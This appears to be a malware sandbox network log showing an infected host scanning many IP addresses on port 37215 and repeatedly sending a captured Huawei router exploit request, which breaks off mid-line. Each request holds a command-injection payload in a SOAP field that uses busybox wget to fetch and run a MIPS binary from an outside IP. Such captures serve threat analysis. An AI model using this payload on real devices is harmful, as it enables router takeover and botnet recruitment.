Source: global traffic	TCP traffic: 192.168.2.20:55850 -> 45.90.13.64:1558
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.162.137.1:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.185.254.151:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.2.223.6:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.84.251.106:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 186.216.67.106:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.11.156.139:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.216.37.131:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.63.116.218:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 45.45.221.110:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.200.208.226:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 45.61.175.244:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.74.44.226:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.89.109.227:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 92.240.82.11:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.160.69.127:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.65.140.38:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.15.82.162:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 37.88.157.212:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.105.148.221:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.201.29.29:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 160.176.25.142:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.225.31.46:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 45.207.13.194:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.228.9.214:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 196.170.115.82:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.237.239.136:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.132.166.150:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.62.167.211:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.4.10.99:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.131.15.94:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 122.99.233.63:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.38.2.190:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 160.72.23.143:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.208.56.183:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.201.57.72:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.132.187.128:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.251.240.105:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.23.123.96:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 186.89.27.45:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.0.50.137:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 94.247.69.64:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.120.218.136:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 190.100.68.159:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 122.60.146.197:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.150.161.9:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.57.5.197:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.4.136.7:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 190.40.128.204:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 157.144.34.161:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.186.236.175:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 156.71.251.49:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.106.215.12:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 95.55.31.204:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.248.13.234:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.83.255.3:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 197.40.153.64:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 41.17.159.160:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 157.122.103.107:37215
Source: global traffic	TCP traffic: 192.168.2.20:58015 -> 154.86.32.204:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 